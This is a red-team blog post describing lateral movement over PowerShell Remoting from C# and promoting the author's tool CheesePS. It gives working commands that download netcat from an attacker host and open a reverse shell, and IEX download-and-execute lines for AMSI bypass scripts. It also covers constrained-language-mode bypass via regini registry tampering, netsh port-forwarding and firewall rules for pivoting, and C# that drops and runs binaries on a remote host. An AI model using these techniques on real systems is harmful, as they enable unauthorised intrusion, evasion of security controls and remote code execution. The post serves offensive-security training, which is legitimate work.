CyberSecurity Blog

Various Posts around Cyber Sec

View on GitHub

Lateral Movement Using PSRemoting via C#

0. TL;DR

This post is a description of a study of PowerShell Remoting capabilities, and how to abuse this legitimate functionality for local execution and lateral movement purposes. Moreover, it will be showed how to leverage the C# class System.Management.Automation to load and run arbitrary PowerShell modules, bypassing common defences.

1. Introduction

Often, during a red team engagement or internal penetration test, a tester requires to move laterally in the compromised domain, to extend his access and permissions up to the designated target.

Lateral movement is the process of moving from one compromised host to another.

Among the methods used to accomplish this, the easiest and commonly used (at least in the past) was surely PowerShell Remoting. While this is still a method commonly used for lateral movement and local execution, this technique suffers for an ever-increasing security, which makes it difficult to use it now as much as it was possible in the past. This includes, among others:

Following, it will be showed how to execute PowerShell using C#, and how to implement known techniques to evade defences like AMSI, WLDP, traffic interception and so on.

All the techniques presented in this document have been implemented in a general framework called CheesePS.

1.1 PowerShell Remoting

PowerShell remoting is a way to access remote machines across a network, and run PowerShell commands on them. Remoting builds on earlier implementations of this idea, and in fact, remoting has been part of PowerShell for quite some time. Some cmdlets have long supported a limited form of remoting, in which code can be executed on remote machines.

By default, a remote PSSession is established by the connecting machine on the target sending a request at http://target:5985/WSMAN (SSL on port 5986), using the WS-Management Protocol. This protocol is based different standards, such as HTTPS, SOAP over HTTP (WS-I profile), SOAP 1.2, WS-Addressing, WS-Transfer, WS-Enumeration, and WS-Eventing.

1.2 Prerequisites

In order to use PowerShell Remoting, both the computers involved in the process should met some prerequisites:

1.3 Configurations

The PowerShell remote feature can be enabled with:


By default, only Local Administrators of the machine can execute commands using PowerShell remoting. To enable the feature for non-administrators, the following command can be used:

Set-PSSessionConfiguration Microsoft.PowerShell -ShowSecurityDescriptorUI

In the property sheet, change the Security Descriptor of Microsoft-PowerShell session configuration.

Moreover, to enable access to the service, the port tcp/5985 must be reachable

Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP-PUBLIC" -RemoteAddress Any

Last thing, to Authenticate to the service, the requesting computer should be in the same domain of the target computer, or it has to be granted access to the machine.

In order to grant access to non-domain computers, the following command can be used:

Set-Item wsman:localhost\client\trustedhosts -Value *

1.4 Wrap-it up

To summarize, in order to execute commands on a remote target running in the network, an attacker should:

2. Abusing PSRemoting

It’s pretty simple to understand why this functionality is so interesting: it gives immediate code execution capabilities on a remote target. However, it’s not always as simple as it seems. In real life scenarios, having PowerShell remoting access to a machine doesn’t mean that the attacker can directly obtain a reverse shell. Considering the following example:

$pass=(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force); $cred=(New-Object System.Management.Automation.PSCredential("TEST\Administrator", $pass)); Invoke-Command -ComputerName pc-1 -Credential $cred -ScriptBlock { wget http://attacker-ip/nc.exe -O C:\Users\Public\nc.exe; C:\Users\Public\nc.exe -e C:\Windows\system32\nc.exe attacker-ip 4444 }

Considering a default setup of Windows 10 or Windows 2019, what can go wrong?

And using pure PowerShell reverse shell?

To confirm that Constrained Language Mode is enforced on a remote target, it is enough to issue the command:

$pass=(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force); $cred=(New-Object System.Management.Automation.PSCredential("TEST\Administrator", $pass)); Invoke-Command -ComputerName pcoip -Credential $cred -ScriptBlock { $ExecutionContext.SessionState.LanguageMode }

PSComputerName RunspaceId                           Value
-------------- ----------                           -----
pc-2          40ba2a12-4c2c-478d-a3c8-55c1fae4b275 ConstrainedLanguage

To confirm that Defender Real-Time Protection is enabled on a remote target, the following command might be used instead:

$pass=(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force); $cred=(New-Object System.Management.Automation.PSCredential("TEST\Administrator", $pass)); Invoke-Command -ComputerName pcoip -Credential $cred -ScriptBlock { IEX 'Write-Output "AmsiScanBuffer"' }
At line:1 char:1
+ Write-Output "AmsiScanBuffer"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
    + PSComputerName        : pc-2

The only way to proceed is to find a way to bypass these protections and force the target to execute what we want to execute. How?

2.1 Analysing the defences

Before digging into actual bypasses, it is necessary to understand where the defences try to prevent an attacker from performing unwanted actions. To ease the analysis, it is useful to divide two possible scenarios:

Local execution

In the first scenario, the attacker would need to:

Remote execution

In the second scenario, an attacker should:

2.2 Bypassing Constrained Language Mode (CLM)

Local Execution

This is the first line of defence the attacker should circumvent, of course, as it affects the local execution capabilities.

The proposed bypass technique is very simple, and consists in abusing the class System.Management.Automation.Runspaces.Runspace to provide a PowerShell object with a FullLanguageMode Environment.

The following snippet shows how to do it:

Runspace rs = RunspaceFactory.CreateRunspace();
PowerShell ps = PowerShell.Create();

ps.Runspace = rs;

This technique has been documented in the past, and it’s described very well in THIS nice article by Brian Fehrman of BHIS.

As this is not a new technique, there are already tools that implements the same concept, like PowerShDll by p3nt4 and CsPosh of MiscTools by Rasta Mouse, which can also handle PSRemoting.

Remote Execution

It is also possible to create remote PowerShell runspaces, providing a WS-Management connection to the remote target:

var uri = new Uri("http://pc-2.test.local:5985/WSMAN");
conn = new WSManConnectionInfo(uri);

/* SET Valid Credentials here */

Runspace rs = RunspaceFactory.CreateRunspace(conn);
PowerShell ps = PowerShell.Create();

ps.Runspace = rs;

In some cases, if Applocker is used to enforce CLM, this rule might not apply to Administrators, or might be configured in a way that C# runspaces will still run in Full Language mode.

What if this is not enough?

Unfortunately, if the remote target enforces CLM using $Env:__PSLockDownPolicy, it’s very likely that also runspaces created this way will be subject to the same restriction. What to do in these cases?

The easiest and most common way to bypass CLM is PowerShell downgrade. As CLM was introduced with PowerShell v5, switching to previous versions (v2) is an effective way of bypassing it. To prove that, it is enough to run the following code:

$pass=(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force); 
$cred=(New-Object System.Management.Automation.PSCredential("pc-2\Administrator", $pass)); 
Invoke-Command -ComputerName pcoip -Credential $cred -ScriptBlock { 
    Write-Output $PSVersionTable;
    Write-Output ""; 
    Write-Host "LanguageMode: " $ExecutionContext.SessionState.LanguageMode; 
    Write-Output ""; 
    powershell -version 2 "Write-Output `$PSVersionTable";
    powershell -version 2 "Write-Host 'LanguageMode:'`$ExecutionContext.SessionState.LanguageMode" 

Below a screenshot proving the above:

However, this bypass will fail if PowerShell v2 has been disabled on the system (it requires manual disabling). Moreover, it is not possible to directly specify the version of PowerShell used in a C# Runspace, as it uses different assemblies depending on the version of .NET used to compile the Program using it. There are a few alternatives to this behaviour, but they are out from the context of this article.

As an alternative way to bypass CLM, it might be legit to think that overwriting the environment variable __PSLockDownPolicy would be a valid bypass, particularly in the remote context of pc-2, where the attacker already has priviledged access.

Surprisingly or not, although this method seems to be valid if performed locally by an Administrator, if run against a remote target, this approach failed quite miserably in multiple tests performed, showing that it’s not really feasible to overwrite __PSLockDownPolicy from within a Remote CLM PowerShell Interface. An example of that is showed below:

Command Executed:

set __PSLockDownPolicy=8
setx __PSLockDownPolicy 8
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
# The following commands caused infinite hanging
reg add 'HKLM\System\CurrentControlSet\Control\Session Manager\Environment' /v __PSLockDownPolicy /t REG_SZ /d 8
reg delete 'HKLM\System\CurrentControlSet\Control\Session Manager\Environment' /v __PSLockDownPolicy

NW: The remote target is a fully updated Windows Server 2019

What come to the rescue is the old, and maybe almost forgotten MS tool REGINI (regini.exe). This tool is able to manipulate permissions and values of any registry key within the system, and, unlike his companion reg.exe, doesn’t suffer by the same “hanging” behaviour when launched in a remote PowerShell session.

However, regini.exe accept only a file as input, with a well defined format. As such, the only method to use it is to plant a temporary file on the remote target, and then instruct regini.exe to use it. The file template used in this operation will be the following:

HKLM\System\CurrentControlSet\Control\Session Manager\Environment [1 5 7]
    __PSLockdownPolicy = REG_SZ 8

The target of this operation will be the registry key HKLM\System\CurrentControlSet\Control\Session Manager\Environment, the Microsoft tool will change it’s DACL to permit World Full Access, and then set the value of __PsLockDownPolicy to 8 (FullLanguage mode)

After regini.exe tampers the environment variable, just restarting the PowerShell session would be enough to enable FullLanguage mode. This can be easily implemented using C# Runspaces as well, and provides a general way to bypass CLM that works against both Local and Remote targets (given that the attacker as Administrative access to the target).

However, there is a drawback: as regini.exe only accepts INI files, the trick requires to write a simple configuration file wherever in the target system, prior to the call to regini.exe.

2.3 Bypassing AMSI

In order to bypass AMSI, it’s necessary to understand how and where AMSI is invoked in the first place:

From Microsoft documentation, it seems that the AMSI scan is performed in at least two phases:

Always following the documentation, AMSI should be effect also against obfuscation, as the scan should happen just before execution, that means when the script should appear “in clear” to be executed by the script engine.

For more theory on AMSI and potential improvements, please refer to this amazing research:

At this point, AMSI might appear like a very good defence line… Well, not really. The main weak point identified so far is that AMSI is mostly based on signature/pattern/string matching:

Indeed, in a few tests, AMSI could not detect the use of PowerUp at all:

IEX (New-Object Net.WebClient).DownloadString('')

But it had more luck with PowerView:

IEX (New-Object Net.WebClient).DownloadString('')
IEX (New-Object Net.WebClient).DownloadString('')
Import-Module C:\payloads\PowerView.ps1')

At this point, it should be clear that while AMSI is not a unerring defence line, it might get annoying in a number of situations.

During the time, numerous bypass techniques were developed, which main aim is to defuse the AMSI scan, making it fail, return untrue values or preventing it from running. When PowerShell is invoked, the AMSI Dynamic-Link Library (DLL) is mapped into the virtual address space of the process. Once the DLL is loaded, the PowerShell process can access internal functions exported by the DLL, and use those to scan the user input. Usually, DLLs are mapped into R-X memory (as there is usually no need to modify this areas dynamically); however, as the Virtual Memory of a process is accessible (of course!) by the process itself, it is possible to make this memory areas as Writeable, using function as VirtualProtect, and then tamper its content.

For more theory about AMSI bypassing, refer to the following amazing posts:


To perform an AMSI bypass using C#, two main paths might be followed:

  1. Load amsi.dll directly from the C# process, and defuse it (only for local execution)
  2. Use a PowerShell AMSI bypass from the System.Management.Automation.PowerShell object

Point 1. is usable only locally, as the only way to interact with the remote target is through the WS-Management connection, there is no easy way to execute C# code directly.

With that in mind, implementing an AMSI Bypass is not so difficult, and there are more than a few PoC available on the internet, such as this.

Point 2., instead, gives the attacker the possibility to load and execute any AMSI Bypass written in PowerShell. As an example, consider the following snippet:

PowerShell ps = PowerShell.Create();
string code = "IEX (New-Object Net.WebClient).DownloadString('http://attackerip/AmsiBypass.ps1');";

2.4 Overcoming the firewall

Overcoming the firewall can be a troublesome activity at times. Consider a scenario in which PC-1 has been compromised and PC-2 is a server with no direct access to the internet, either because a firewall blocks it or because it has no proxy configured:

In the above example, an attacker should set up one or two reverse port forwarding in order to reach a self-controlled web server to deliver the payload to PC-2, like:

portfwd add -R -p 8080 -L X.X.X.X -l 8080
$pass=(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force); 
$cred=(New-Object System.Management.Automation.PSCredential("test.local\Administrator", $pass)); 
Invoke-Command -ComputerName pc-2.test.local -Credential $cred -ScriptBlock {
    netsh interface portproxy add v4tov4 listenport=8080 listenaddress= connectport=8080 connectaddress=10.0.0.X
    netsh advfirewall firewall add rule name="My Sweet Local Port" dir=in action=allow protocol=TCP localport=8080

After that, it should be possible to bypass AMSI and execute any payload using the following commands:

$pass=(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force); 
$cred=(New-Object System.Management.Automation.PSCredential("test.local\Administrator", $pass)); 
Invoke-Command -ComputerName pc-2.test.local -Credential $cred -ScriptBlock {
    # AMSI bypass
    IEX (New-Object Net.WebClient).DownloadString('')
    # Import other modules or execute other scripts
    IEX (New-Object Net.WebClient).DownloadString('')
    # Whatever needed 

However, if anything goes wrong, it might prove impossible to use any payload at all on that target.

To overcome this potential issue, and even more to simplify this process, C# can be used to do all the heavy lift and let the attacker do more interesting stuff. The concept is very simple, and consist into avoiding any connection at all from the target server. In order to do that, it is necessary to let PC-1 downloading all the scripts needed, passing them all to PC-2 using the only allowed connection: WS-Management on tcp/5985.

Implementing a remote “Import-Module”

The general technique used to import arbitrary modules and PowerShell scripts, uses the old and stable Invoke-Expression trick. In order to avoid an outgoing connection from the remote target, though, it is necessary to have an already available stringified copy of the script that should be imported.

As an example, please consider the following snippet:

PowerShell ps = PowerShell.Create();
// Downloading module/script
string script = (new WebClient()).DownloadString("http://attackerip/evil.ps1");
// Import template
string code = String.Format("IEX {0}", script);
// Transferring script to the remote process

The script is downloaded by the C# Program, executing locally, and it’s then passed to the remote runspace, via AddScript. In this way, the remote PowerShell session will have access to the script, but it won’t be asked to open external connections.

2.5 Bypass A/V and WLDP

Bypassing the A/V is something to have in mind when trying to plant executables on the local or remote target, and can be bypassed only using executables with unknown signatures, modifying the payload to avoid/break known signatures and/or using techniques like Process Injection.

Regarding in-memory execution, from v4.8, the .NET framework uses both AMSI and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator.

Why this is interesting in this context? Well, as for PowerShell is concerned, C# assemblies can be loaded dynamically, using one of the following methods:

# Method 1
Add-Type -Path 'C:\Windows\Temp\evil.dll'

# Method 2
$bytes = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\evil.dll')

# Method 3
$Assembly = [System.Reflection.Assembly]::LoadFrom("C:\Windows\Temp\evil.dll");

# Method 4: To be used with Standard Assemblies

Moreover, as the aim is to use PowerShell from C#, there are good chances WLDP could interfere if the attacker attempts to reflectively load C# binaries.

As for AMSI, WLDP can be bypassed via in-memory code patching, targeting wldp.dll.

As it isn’t strictly necessary to do that in this context, this argument won’t be explained in detail, but CheesePS provides a built-in WLDP bypass and offers the possibility to import a custom, PowerShell-based bypass.

For the theory on WLDP, refer to the following articles:


Implementing Binary Transfer

As the main objective of the project is to avoid any outgoing connections from the target server, it was necessary to find a way to transfer executables within using the WS-Management connection. In order to do that, in a similar way to what was done previously for PowerShell scripts, CheesePS leverages the byte array binary representation to “transfer” binaries from C# to PowerShell, using then the remote PowerShell session to either store them on the remote file system, or reflectively load them.

An example of the code handling this functionality is as easy as the following:

// Store and Execute code
string execute_stub = $"$PEBytes = [byte[]] (";
    // Function to get the byte-array representation of the binary
    byte[] assembly = LoadAssembly(execute_assembly, assembly_encrypted, aes_key);
    string destination = $"C:\\Users\\Public\\{Path.GetFileNameWithoutExtension(Path.GetRandomFileName())}.exe";

    // Returns
    //     $PEBytes = [byte[]] (0x4D, 05A, ... , 0x00);
    execute_stub += $"0x{BitConverter.ToString(assembly).Replace("-", ", 0x")} );";

    // Normal Execution (No reflective injection)
    // - Stores the file given as WriteAllBytes 
    execute_stub += $"[io.file]::WriteAllBytes('{destination}',$PEbytes);sleep 1;";
    // - Executes the saved file
    execute_stub += $"& '{destination}' {code}";
} catch {
    Console.WriteLine("ERROR: Something went Wrong");

2.6 Considerations

If AMSI is defused, Windows Defender doesn’t prevent an attacker from importing modules like PowerView or PowerUp, but other A/V and EDR might get in the middle of the process. Moreover, some form of EDRs, and also Windows ATP, should be able to detect any attempt to patch amsi.dll, and may potentially be able to block the attempt.

To partially mitigate this problem, CheesePS encrypts the payload in transit, so that it might still get viewed by an EDR or an IPS in place, but it won’t be “understood”, potentially evading some form of detection. The payload then, will be decrypted just before use.

In the same way, entire binaries, dlls and other dynamically loadable content can be safely encrypted in transit and at rest.

However, this technique is not enough to completely avoid detection, and surely it won’t be able to bypass AMSI, as the PowerShell Script Engine doesn’t support the execution of an encrypted payload (and that is the reason why AMSI is so effective).

3 CheesePS

3.1 Functionalities

Talking about CheesePS, the framework implements the following functionalities:

3.2 Communications

CheesePS works using the local target as a gateway for all outgoing connections, file downloads, and such. The tools has been designed to not require any outgoing connection from the remote target to import modules, download binaries or other activities. The only traffic that involves the remote target should be on port tcp/5985 (or tcp/5986, if using HTTPS).

3.3 Commands, Imports, Modules

The funny thing about the framework is that the user is not required to port anything, CheesePS works with the same exact PowerShell scripts and modules used in the past, just loaded an run by a C# tool.

3.4 Workflow

3.5 Demo time

3.6 Download CheesePS

As always, the full code is available on GitHub, and are will be available at CheeseTools. Releasing soon…

4. Credits

The first time I came up with this idea I was digging into Zero-Point Security CRTO course.

Big thanks to Daniel Duggan (aka Rasta_Mouse), and his ZeroPoint Security RTO course, for motivating me and help me out with this article.

Back to Red Teaming

Back to Home